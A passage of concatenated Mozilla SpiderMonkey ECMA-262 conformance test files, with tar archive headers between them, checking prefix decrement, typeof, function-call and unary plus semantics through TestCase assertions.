MYVAR=Number.POSITIVE_INFINITY;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NaN;--MYVAR;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;--MYVAR;MYVAR") ); // number primitives new TestCase( SECTION, "var MYVAR=0;--MYVAR", -1, eval("var MYVAR=0;--MYVAR") ); new TestCase( SECTION, "var MYVAR=0.2345;--MYVAR", -0.7655, eval("var MYVAR=0.2345;--MYVAR") ); new TestCase( SECTION, "var MYVAR=-0.2345;--MYVAR", -1.2345, eval("var MYVAR=-0.2345;--MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0.2345;--MYVAR;MYVAR", -0.7655, eval("var MYVAR=0.2345;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=-0.2345;--MYVAR;MYVAR", -1.2345, eval("var MYVAR=-0.2345;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") ); // boolean values // verify return value new TestCase( SECTION, "var MYVAR=true;--MYVAR", 0, eval("var MYVAR=true;--MYVAR") ); new TestCase( SECTION, "var MYVAR=false;--MYVAR", -1, eval("var MYVAR=false;--MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=true;--MYVAR;MYVAR", 0, eval("var MYVAR=true;--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=false;--MYVAR;MYVAR", -1, eval("var MYVAR=false;--MYVAR;MYVAR") ); // boolean objects // verify return value new TestCase( SECTION, "var MYVAR=new Boolean(true);--MYVAR", 0, eval("var MYVAR=true;--MYVAR") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);--MYVAR", -1, eval("var MYVAR=false;--MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new Boolean(true);--MYVAR;MYVAR", 0, eval("var MYVAR=new Boolean(true);--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);--MYVAR;MYVAR", -1, eval("var MYVAR=new Boolean(false);--MYVAR;MYVAR") ); // string primitives new TestCase( SECTION, "var MYVAR='string';--MYVAR", Number.NaN, eval("var MYVAR='string';--MYVAR") ); new TestCase( SECTION, "var MYVAR='12345';--MYVAR", 12344, eval("var MYVAR='12345';--MYVAR") ); new TestCase( SECTION, "var MYVAR='-12345';--MYVAR", -12346, eval("var MYVAR='-12345';--MYVAR") ); new TestCase( SECTION, "var MYVAR='0Xf';--MYVAR", 14, eval("var MYVAR='0Xf';--MYVAR") ); new TestCase( SECTION, "var MYVAR='077';--MYVAR", 76, eval("var MYVAR='077';--MYVAR") ); new TestCase( SECTION, "var MYVAR=''; --MYVAR", -1, eval("var MYVAR='';--MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR='string';--MYVAR;MYVAR", Number.NaN, eval("var MYVAR='string';--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='12345';--MYVAR;MYVAR", 12344, eval("var MYVAR='12345';--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='-12345';--MYVAR;MYVAR", -12346, eval("var MYVAR='-12345';--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='0xf';--MYVAR;MYVAR", 14, eval("var MYVAR='0xf';--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='077';--MYVAR;MYVAR", 76, eval("var MYVAR='077';--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='';--MYVAR;MYVAR", -1, eval("var MYVAR='';--MYVAR;MYVAR") ); // string objects new TestCase( SECTION, "var MYVAR=new String('string');--MYVAR", Number.NaN, eval("var MYVAR=new String('string');--MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('12345');--MYVAR", 12344, eval("var MYVAR=new String('12345');--MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('-12345');--MYVAR", -12346, eval("var MYVAR=new String('-12345');--MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('0Xf');--MYVAR", 14, eval("var MYVAR=new String('0Xf');--MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('077');--MYVAR", 76, eval("var MYVAR=new String('077');--MYVAR") ); new TestCase( SECTION, "var MYVAR=new String(''); --MYVAR", -1, eval("var MYVAR=new String('');--MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new String('string');--MYVAR;MYVAR", Number.NaN, eval("var MYVAR=new String('string');--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('12345');--MYVAR;MYVAR", 12344, eval("var MYVAR=new String('12345');--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('-12345');--MYVAR;MYVAR", -12346, eval("var MYVAR=new String('-12345');--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('0xf');--MYVAR;MYVAR", 14, eval("var MYVAR=new String('0xf');--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('077');--MYVAR;MYVAR", 76, eval("var MYVAR=new String('077');--MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('');--MYVAR;MYVAR", -1, eval("var MYVAR=new String('');--MYVAR;MYVAR") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.3.js0000664000175000017500000001141312106270663021457 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: typeof_1.js ECMA Section: 11.4.3 typeof operator Description: typeof evaluates unary expressions: undefined "undefined" null "object" Boolean "boolean" Number "number" String "string" Object "object" [native, doesn't implement Call] Object "function" [native, implements [Call]] Object implementation dependent [not sure how to test this] Author: christine@netscape.com Date: june 30, 1997 */ var SECTION = "11.4.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = " The typeof operator"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof(void(0))", "undefined", typeof(void(0)) ); new TestCase( SECTION, "typeof(null)", "object", typeof(null) ); new TestCase( SECTION, "typeof(true)", "boolean", typeof(true) ); new TestCase( SECTION, "typeof(false)", "boolean", typeof(false) ); new TestCase( SECTION, "typeof(new Boolean())", "object", typeof(new Boolean()) ); new TestCase( SECTION, "typeof(new Boolean(true))", "object", typeof(new Boolean(true)) ); new TestCase( SECTION, "typeof(Boolean())", "boolean", typeof(Boolean()) ); new TestCase( SECTION, "typeof(Boolean(false))", "boolean", typeof(Boolean(false)) ); new TestCase( SECTION, "typeof(Boolean(true))", "boolean", typeof(Boolean(true)) ); new TestCase( SECTION, "typeof(NaN)", "number", typeof(Number.NaN) ); new TestCase( SECTION, "typeof(Infinity)", "number", typeof(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "typeof(-Infinity)", "number", typeof(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "typeof(Math.PI)", "number", typeof(Math.PI) ); new TestCase( SECTION, "typeof(0)", "number", typeof(0) ); new TestCase( SECTION, "typeof(1)", "number", typeof(1) ); new TestCase( SECTION, "typeof(-1)", "number", typeof(-1) ); new TestCase( SECTION, "typeof('0')", "string", typeof("0") ); new TestCase( SECTION, "typeof(Number())", "number", typeof(Number()) ); new TestCase( SECTION, "typeof(Number(0))", "number", typeof(Number(0)) ); new TestCase( SECTION, "typeof(Number(1))", "number", typeof(Number(1)) ); new TestCase( SECTION, "typeof(Nubmer(-1))", "number", typeof(Number(-1)) ); new TestCase( SECTION, "typeof(new Number())", "object", typeof(new Number()) ); new TestCase( SECTION, "typeof(new Number(0))", "object", typeof(new Number(0)) ); new TestCase( SECTION, "typeof(new Number(1))", "object", typeof(new Number(1)) ); // Math does not implement [[Construct]] or [[Call]] so its type is object. new TestCase( SECTION, "typeof(Math)", "object", typeof(Math) ); new TestCase( SECTION, "typeof(Number.prototype.toString)", "function", typeof(Number.prototype.toString) ); new TestCase( SECTION, "typeof('a string')", "string", typeof("a string") ); new TestCase( SECTION, "typeof('')", "string", typeof("") ); new TestCase( SECTION, "typeof(new Date())", "object", typeof(new Date()) ); new TestCase( SECTION, "typeof(new Array(1,2,3))", "object", typeof(new Array(1,2,3)) ); new TestCase( SECTION, "typeof(new String('string object'))", "object", typeof(new String("string object")) ); new TestCase( SECTION, "typeof(String('string primitive'))", "string", typeof(String("string primitive")) ); new TestCase( SECTION, "typeof(['array', 'of', 'strings'])", "object", typeof(["array", "of", "strings"]) ); new TestCase( SECTION, "typeof(new Function())", "function", typeof( new Function() ) ); new TestCase( SECTION, "typeof(parseInt)", "function", typeof( parseInt ) ); new TestCase( SECTION, "typeof(test)", "function", typeof( test ) ); new TestCase( SECTION, "typeof(String.fromCharCode)", "function", typeof( String.fromCharCode ) ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.3-2-n.js0000664000175000017500000000365412106270663022057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.3-2-n.js ECMA Section: 11.2.3. Function Calls Description: The production CallExpression : MemberExpression Arguments is evaluated as follows: 1.Evaluate MemberExpression. 2.Evaluate Arguments, producing an internal list of argument values (section 0). 3.Call GetValue(Result(1)). 4.If Type(Result(3)) is not Object, generate a runtime error. 5.If Result(3) does not implement the internal [[Call]] method, generate a runtime error. 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise, Result(6) is null. 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is the same as Result(6). 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value and providing the list Result(2) as the argument values. 9.Return Result(8). The production CallExpression : CallExpression Arguments is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Note: Result(8) will never be of type Reference if Result(3) is a native ECMAScript object. Whether calling a host object can return a value of type Reference is implementation-dependent. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.3-2-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function Calls"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "3.valueOf()", 3, eval("3.valueOf()") ); new TestCase( SECTION, "(3).valueOf()", 3, eval("(3).valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.3-4-n.js0000664000175000017500000000364712106270663022063 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.3-4-n.js ECMA Section: 11.2.3. Function Calls Description: The production CallExpression : MemberExpression Arguments is evaluated as follows: 1.Evaluate MemberExpression. 2.Evaluate Arguments, producing an internal list of argument values (section 0). 3.Call GetValue(Result(1)). 4.If Type(Result(3)) is not Object, generate a runtime error. 5.If Result(3) does not implement the internal [[Call]] method, generate a runtime error. 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise, Result(6) is null. 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is the same as Result(6). 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value and providing the list Result(2) as the argument values. 9.Return Result(8). The production CallExpression : CallExpression Arguments is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Note: Result(8) will never be of type Reference if Result(3) is a native ECMAScript object. Whether calling a host object can return a value of type Reference is implementation-dependent. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.3-4-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function Calls"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "null.valueOf()"; EXPECTED = "error"; new TestCase( SECTION, "null.valueOf()", "error", eval("null.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.6.js0000664000175000017500000004115412106270663021467 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.6.js ECMA Section: 11.4.6 Unary + Operator Description: convert operand to Number type Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "11.4.6"; var VERSION = "ECMA_1"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " Unary + operator"); new TestCase( SECTION, "+('')", 0, +("") ); new TestCase( SECTION, "+(' ')", 0, +(" ") ); new TestCase( SECTION, "+(\\t)", 0, +("\t") ); new TestCase( SECTION, "+(\\n)", 0, +("\n") ); new TestCase( SECTION, "+(\\r)", 0, +("\r") ); new TestCase( SECTION, "+(\\f)", 0, +("\f") ); new TestCase( SECTION, "+(String.fromCharCode(0x0009)", 0, +(String.fromCharCode(0x0009)) ); new TestCase( SECTION, "+(String.fromCharCode(0x0020)", 0, +(String.fromCharCode(0x0020)) ); new TestCase( SECTION, "+(String.fromCharCode(0x000C)", 0, +(String.fromCharCode(0x000C)) ); new TestCase( SECTION, "+(String.fromCharCode(0x000B)", 0, +(String.fromCharCode(0x000B)) ); new TestCase( SECTION, "+(String.fromCharCode(0x000D)", 0, +(String.fromCharCode(0x000D)) ); new TestCase( SECTION, "+(String.fromCharCode(0x000A)", 0, +(String.fromCharCode(0x000A)) ); // a StringNumericLiteral may be preceeded or followed by whitespace and/or // line terminators new TestCase( SECTION, "+( ' ' + 999 )", 999, +( ' '+999) ); new TestCase( SECTION, "+( '\\n' + 999 )", 999, +( '\n' +999) ); new TestCase( SECTION, "+( '\\r' + 999 )", 999, +( '\r' +999) ); new TestCase( SECTION, "+( '\\t' + 999 )", 999, +( '\t' +999) ); new TestCase( SECTION, "+( '\\f' + 999 )", 999, +( '\f' +999) ); new TestCase( SECTION, "+( 999 + ' ' )", 999, +( 999+' ') ); new TestCase( SECTION, "+( 999 + '\\n' )", 999, +( 999+'\n' ) ); new TestCase( SECTION, "+( 999 + '\\r' )", 999, +( 999+'\r' ) ); new TestCase( SECTION, "+( 999 + '\\t' )", 999, +( 999+'\t' ) ); new TestCase( SECTION, "+( 999 + '\\f' )", 999, +( 999+'\f' ) ); new TestCase( SECTION, "+( '\\n' + 999 + '\\n' )", 999, +( '\n' +999+'\n' ) ); new TestCase( SECTION, "+( '\\r' + 999 + '\\r' )", 999, +( '\r' +999+'\r' ) ); new TestCase( SECTION, "+( '\\t' + 999 + '\\t' )", 999, +( '\t' +999+'\t' ) ); new TestCase( SECTION, "+( '\\f' + 999 + '\\f' )", 999, +( '\f' +999+'\f' ) ); new TestCase( SECTION, "+( ' ' + '999' )", 999, +( ' '+'999') ); new TestCase( SECTION, "+( '\\n' + '999' )", 999, +( '\n' +'999') ); new TestCase( SECTION, "+( '\\r' + '999' )", 999, +( '\r' +'999') ); new TestCase( SECTION, "+( '\\t' + '999' )", 999, +( '\t' +'999') ); new TestCase( SECTION, "+( '\\f' + '999' )", 999, +( '\f' +'999') ); new TestCase( SECTION, "+( '999' + ' ' )", 999, +( '999'+' ') ); new TestCase( SECTION, "+( '999' + '\\n' )", 999, +( '999'+'\n' ) ); new TestCase( SECTION, "+( '999' + '\\r' )", 999, +( '999'+'\r' ) ); new TestCase( SECTION, "+( '999' + '\\t' )", 999, +( '999'+'\t' ) ); new TestCase( SECTION, "+( '999' + '\\f' )", 999, +( '999'+'\f' ) ); new TestCase( SECTION, "+( '\\n' + '999' + '\\n' )", 999, +( '\n' +'999'+'\n' ) ); new TestCase( SECTION, "+( '\\r' + '999' + '\\r' )", 999, +( '\r' +'999'+'\r' ) ); new TestCase( SECTION, "+( '\\t' + '999' + '\\t' )", 999, +( '\t' +'999'+'\t' ) ); new TestCase( SECTION, "+( '\\f' + '999' + '\\f' )", 999, +( '\f' +'999'+'\f' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x0009) + '99' )", 99, +( String.fromCharCode(0x0009) + '99' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x0020) + '99' )", 99, +( String.fromCharCode(0x0020) + '99' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000C) + '99' )", 99, +( String.fromCharCode(0x000C) + '99' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000B) + '99' )", 99, +( String.fromCharCode(0x000B) + '99' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000D) + '99' )", 99, +( String.fromCharCode(0x000D) + '99' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000A) + '99' )", 99, +( String.fromCharCode(0x000A) + '99' ) ); new TestCase( SECTION, "+( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "+( String.fromCharCode(0x0020) + '99' + String.fromCharCode(0x0020)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000C) + '99' + String.fromCharCode(0x000C)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000D) + '99' + String.fromCharCode(0x000D)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000B) + '99' + String.fromCharCode(0x000B)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000A) + '99' + String.fromCharCode(0x000A)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "+( '99' + String.fromCharCode(0x0009)", 99, +( '99' + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "+( '99' + String.fromCharCode(0x0020)", 99, +( '99' + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000C)", 99, +( '99' + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000D)", 99, +( '99' + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000B)", 99, +( '99' + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000A)", 99, +( '99' + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "+( String.fromCharCode(0x0009) + 99 )", 99, +( String.fromCharCode(0x0009) + 99 ) ); new TestCase( SECTION, "+( String.fromCharCode(0x0020) + 99 )", 99, +( String.fromCharCode(0x0020) + 99 ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000C) + 99 )", 99, +( String.fromCharCode(0x000C) + 99 ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000B) + 99 )", 99, +( String.fromCharCode(0x000B) + 99 ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000D) + 99 )", 99, +( String.fromCharCode(0x000D) + 99 ) ); new TestCase( SECTION, "+( String.fromCharCode(0x000A) + 99 )", 99, +( String.fromCharCode(0x000A) + 99 ) ); new TestCase( SECTION, "+( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "+( String.fromCharCode(0x0020) + 99 + String.fromCharCode(0x0020)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000C) + 99 + String.fromCharCode(0x000C)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000D) + 99 + String.fromCharCode(0x000D)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000B) + 99 + String.fromCharCode(0x000B)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "+( String.fromCharCode(0x000A) + 99 + String.fromCharCode(0x000A)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "+( 99 + String.fromCharCode(0x0009)", 99, +( 99 + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "+( 99 + String.fromCharCode(0x0020)", 99, +( 99 + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000C)", 99, +( 99 + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000D)", 99, +( 99 + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000B)", 99, +( 99 + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000A)", 99, +( 99 + String.fromCharCode(0x000A)) ); // StrNumericLiteral:::StrDecimalLiteral:::Infinity new TestCase( SECTION, "+('Infinity')", Math.pow(10,10000), +("Infinity") ); new TestCase( SECTION, "+('-Infinity')", -Math.pow(10,10000), +("-Infinity") ); new TestCase( SECTION, "+('+Infinity')", Math.pow(10,10000), +("+Infinity") ); // StrNumericLiteral::: StrDecimalLiteral ::: DecimalDigits . DecimalDigits opt ExponentPart opt new TestCase( SECTION, "+('0')", 0, +("0") ); new TestCase( SECTION, "+('-0')", -0, +("-0") ); new TestCase( SECTION, "+('+0')", 0, +("+0") ); new TestCase( SECTION, "+('1')", 1, +("1") ); new TestCase( SECTION, "+('-1')", -1, +("-1") ); new TestCase( SECTION, "+('+1')", 1, +("+1") ); new TestCase( SECTION, "+('2')", 2, +("2") ); new TestCase( SECTION, "+('-2')", -2, +("-2") ); new TestCase( SECTION, "+('+2')", 2, +("+2") ); new TestCase( SECTION, "+('3')", 3, +("3") ); new TestCase( SECTION, "+('-3')", -3, +("-3") ); new TestCase( SECTION, "+('+3')", 3, +("+3") ); new TestCase( SECTION, "+('4')", 4, +("4") ); new TestCase( SECTION, "+('-4')", -4, +("-4") ); new TestCase( SECTION, "+('+4')", 4, +("+4") ); new TestCase( SECTION, "+('5')", 5, +("5") ); new TestCase( SECTION, "+('-5')", -5, +("-5") ); new TestCase( SECTION, "+('+5')", 5, +("+5") ); new TestCase( SECTION, "+('6')", 6, +("6") ); new TestCase( SECTION, "+('-6')", -6, +("-6") ); new TestCase( SECTION, "+('+6')", 6, +("+6") ); new TestCase( SECTION, "+('7')", 7, +("7") ); new TestCase( SECTION, "+('-7')", -7, +("-7") ); new TestCase( SECTION, "+('+7')", 7, +("+7") ); new TestCase( SECTION, "+('8')", 8, +("8") ); new TestCase( SECTION, "+('-8')", -8, +("-8") ); new TestCase( SECTION, "+('+8')", 8, +("+8") ); new TestCase( SECTION, "+('9')", 9, +("9") ); new TestCase( SECTION, "+('-9')", -9, +("-9") ); new TestCase( SECTION, "+('+9')", 9, +("+9") ); new TestCase( SECTION, "+('3.14159')", 3.14159, +("3.14159") ); new TestCase( SECTION, "+('-3.14159')", -3.14159, +("-3.14159") ); new TestCase( SECTION, "+('+3.14159')", 3.14159, +("+3.14159") ); new TestCase( SECTION, "+('3.')", 3, +("3.") ); new TestCase( SECTION, "+('-3.')", -3, +("-3.") ); new TestCase( SECTION, "+('+3.')", 3, +("+3.") ); new TestCase( SECTION, "+('3.e1')", 30, +("3.e1") ); new TestCase( SECTION, "+('-3.e1')", -30, +("-3.e1") ); new TestCase( SECTION, "+('+3.e1')", 30, +("+3.e1") ); new TestCase( SECTION, "+('3.e+1')", 30, +("3.e+1") ); new TestCase( SECTION, "+('-3.e+1')", -30, +("-3.e+1") ); new TestCase( SECTION, "+('+3.e+1')", 30, +("+3.e+1") ); new TestCase( SECTION, "+('3.e-1')", .30, +("3.e-1") ); new TestCase( SECTION, "+('-3.e-1')", -.30, +("-3.e-1") ); new TestCase( SECTION, "+('+3.e-1')", .30, +("+3.e-1") ); // StrDecimalLiteral::: .DecimalDigits ExponentPart opt new TestCase( SECTION, "+('.00001')", 0.00001, +(".00001") ); new TestCase( SECTION, "+('+.00001')", 0.00001, +("+.00001") ); new TestCase( SECTION, "+('-0.0001')", -0.00001, +("-.00001") ); new TestCase( SECTION, "+('.01e2')", 1, +(".01e2") ); new TestCase( SECTION, "+('+.01e2')", 1, +("+.01e2") ); new TestCase( SECTION, "+('-.01e2')", -1, +("-.01e2") ); new TestCase( SECTION, "+('.01e+2')", 1, +(".01e+2") ); new TestCase( SECTION, "+('+.01e+2')", 1, +("+.01e+2") ); new TestCase( SECTION, "+('-.01e+2')", -1, +("-.01e+2") ); new TestCase( SECTION, "+('.01e-2')", 0.0001, +(".01e-2") ); new TestCase( SECTION, "+('+.01e-2')", 0.0001, +("+.01e-2") ); new TestCase( SECTION, "+('-.01e-2')", -0.0001, +("-.01e-2") ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "+('1234e5')", 123400000, +("1234e5") ); new TestCase( SECTION, "+('+1234e5')", 123400000, +("+1234e5") ); new TestCase( SECTION, "+('-1234e5')", -123400000, +("-1234e5") ); new TestCase( SECTION, "+('1234e+5')", 123400000, +("1234e+5") ); new TestCase( SECTION, "+('+1234e+5')", 123400000, +("+1234e+5") ); new TestCase( SECTION, "+('-1234e+5')", -123400000, +("-1234e+5") ); new TestCase( SECTION, "+('1234e-5')", 0.01234, +("1234e-5") ); new TestCase( SECTION, "+('+1234e-5')", 0.01234, +("+1234e-5") ); new TestCase( SECTION, "+('-1234e-5')", -0.01234, +("-1234e-5") ); // StrNumericLiteral::: HexIntegerLiteral new TestCase( SECTION, "+('0x0')", 0, +("0x0")); new TestCase( SECTION, "+('0x1')", 1, +("0x1")); new TestCase( SECTION, "+('0x2')", 2, +("0x2")); new TestCase( SECTION, "+('0x3')", 3, +("0x3")); new TestCase( SECTION, "+('0x4')", 4, +("0x4")); new TestCase( SECTION, "+('0x5')", 5, +("0x5")); new TestCase( SECTION, "+('0x6')", 6, +("0x6")); new TestCase( SECTION, "+('0x7')", 7, +("0x7")); new TestCase( SECTION, "+('0x8')", 8, +("0x8")); new TestCase( SECTION, "+('0x9')", 9, +("0x9")); new TestCase( SECTION, "+('0xa')", 10, +("0xa")); new TestCase( SECTION, "+('0xb')", 11, +("0xb")); new TestCase( SECTION, "+('0xc')", 12, +("0xc")); new TestCase( SECTION, "+('0xd')", 13, +("0xd")); new TestCase( SECTION, "+('0xe')", 14, +("0xe")); new TestCase( SECTION, "+('0xf')", 15, +("0xf")); new TestCase( SECTION, "+('0xA')", 10, +("0xA")); new TestCase( SECTION, "+('0xB')", 11, +("0xB")); new TestCase( SECTION, "+('0xC')", 12, +("0xC")); new TestCase( SECTION, "+('0xD')", 13, +("0xD")); new TestCase( SECTION, "+('0xE')", 14, +("0xE")); new TestCase( SECTION, "+('0xF')", 15, +("0xF")); new TestCase( SECTION, "+('0X0')", 0, +("0X0")); new TestCase( SECTION, "+('0X1')", 1, +("0X1")); new TestCase( SECTION, "+('0X2')", 2, +("0X2")); new TestCase( SECTION, "+('0X3')", 3, +("0X3")); new TestCase( SECTION, "+('0X4')", 4, +("0X4")); new TestCase( SECTION, "+('0X5')", 5, +("0X5")); new TestCase( SECTION, "+('0X6')", 6, +("0X6")); new TestCase( SECTION, "+('0X7')", 7, +("0X7")); new TestCase( SECTION, "+('0X8')", 8, +("0X8")); new TestCase( SECTION, "+('0X9')", 9, +("0X9")); new TestCase( SECTION, "+('0Xa')", 10, +("0Xa")); new TestCase( SECTION, "+('0Xb')", 11, +("0Xb")); new TestCase( SECTION, "+('0Xc')", 12, +("0Xc")); new TestCase( SECTION, "+('0Xd')", 13, +("0Xd")); new TestCase( SECTION, "+('0Xe')", 14, +("0Xe")); new TestCase( SECTION, "+('0Xf')", 15, +("0Xf")); new TestCase( SECTION, "+('0XA')", 10, +("0XA")); new TestCase( SECTION, "+('0XB')", 11, +("0XB")); new TestCase( SECTION, "+('0XC')", 12, +("0XC")); new TestCase( SECTION, "+('0XD')", 13, +("0XD")); new TestCase( SECTION, "+('0XE')", 14, +("0XE")); new TestCase( SECTION, "+('0XF')", 15, +("0XF")); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.1.1.js0000664000175000017500000000726412106270663021463 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.1.1.js ECMA Section: 11.1.1 The this keyword Description: The this keyword evaluates to the this value of the execution context. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.1.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The this keyword"); var GLOBAL_OBJECT = this.toString(); // this in global code and eval(this) in global code should return the global object. new TestCase( SECTION, "Global Code: this.toString()", 